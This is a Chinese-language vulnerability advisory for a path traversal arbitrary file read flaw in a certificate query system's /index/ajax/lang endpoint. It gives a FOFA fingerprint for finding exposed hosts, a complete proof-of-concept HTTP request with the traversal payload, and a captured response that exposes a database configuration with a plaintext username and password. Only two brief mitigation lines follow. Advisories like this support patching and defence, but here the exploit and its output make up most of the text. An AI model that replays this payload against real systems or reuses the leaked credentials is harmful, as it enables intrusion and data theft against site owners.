

证书系统查询系统lang任意文件读取漏洞

漏洞描述

证书系统查询系统lang任意文件读取漏洞，可读取数据库配置文件导致数据泄露，系统被控制，危害极大。

影响版本

证书系统查询系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: "/index/js/jquery.uls.data.js"

POC/EXP:

GET /index/ajax/lang?lang=../../application/database HTTP/1.1

Host: 127.0.0.1

Connection: keep-alive

sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "Windows"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/130.0.0.0 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8, application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9

Request

<>数据包扫描热加载构造请求

1GET /index/ajax/lang?lang=../../application/database HTTP/1.1

2Host:

3Connection: keep-alive

4sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"

5sec-ch-ua-mobile: ?0

6sec-ch-ua-platform: "Windows"

7Upgrade-Insecure-Requests: 1

8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36

9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

10Sec-Fetch-Site: none

11Sec-Fetch-Mode: navigate

12Sec-Fetch-User: ?1

13Sec-Fetch-Dest: document

14Accept-Encoding: gzip, deflate, br, zstd

15Accept-Language: zh-CN,zh;q=0.9

17

Responseshttps382bytes / 395ms美化Q详情

1HTTP/1.1 200 OK

2Date: Tue, 05 Nov 2024 14:37:41 GMT

3Server: Apache/2.4.55 (Win64) OpenSSL/1.1.1s mod_fcgid/2.3.9a

4X-Powered-By: PHP/7.2.34

5Cache-Control: public

6Pragma: cache

7Expires: Thu, 05 Dec 2024 14:37:41 GMT

8Set-Cookie: think_var=.%2F.%2Fapplication%2Fdatabase; path=/

9Upgrade: h2,h2c

10Connection: Upgrade, Keep-Alive

11Vary: Accept-Encoding

12Keep-Alive: timeout=5, max=1000

13Content-Type: application/javascript; charset=utf-8

14Content-Length: 382

15

16jsonpReturn({"type":"mysql","hostname":"127.0.0.1","database":"dunxing","username":"dunxing","password":"5iH6bfxRe8tpks8n","hostport":"","dsn":"","params":{},"charset":"utf8mb4","prefix":"fa_","debug":false,"deploy":0,"rw_separate":false,"master_num":1,"slave_no":"","fields_strict":true,"resultset_type":"array","auto_timestamp":false,"datetime_format":false,"sql_explain":false});

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本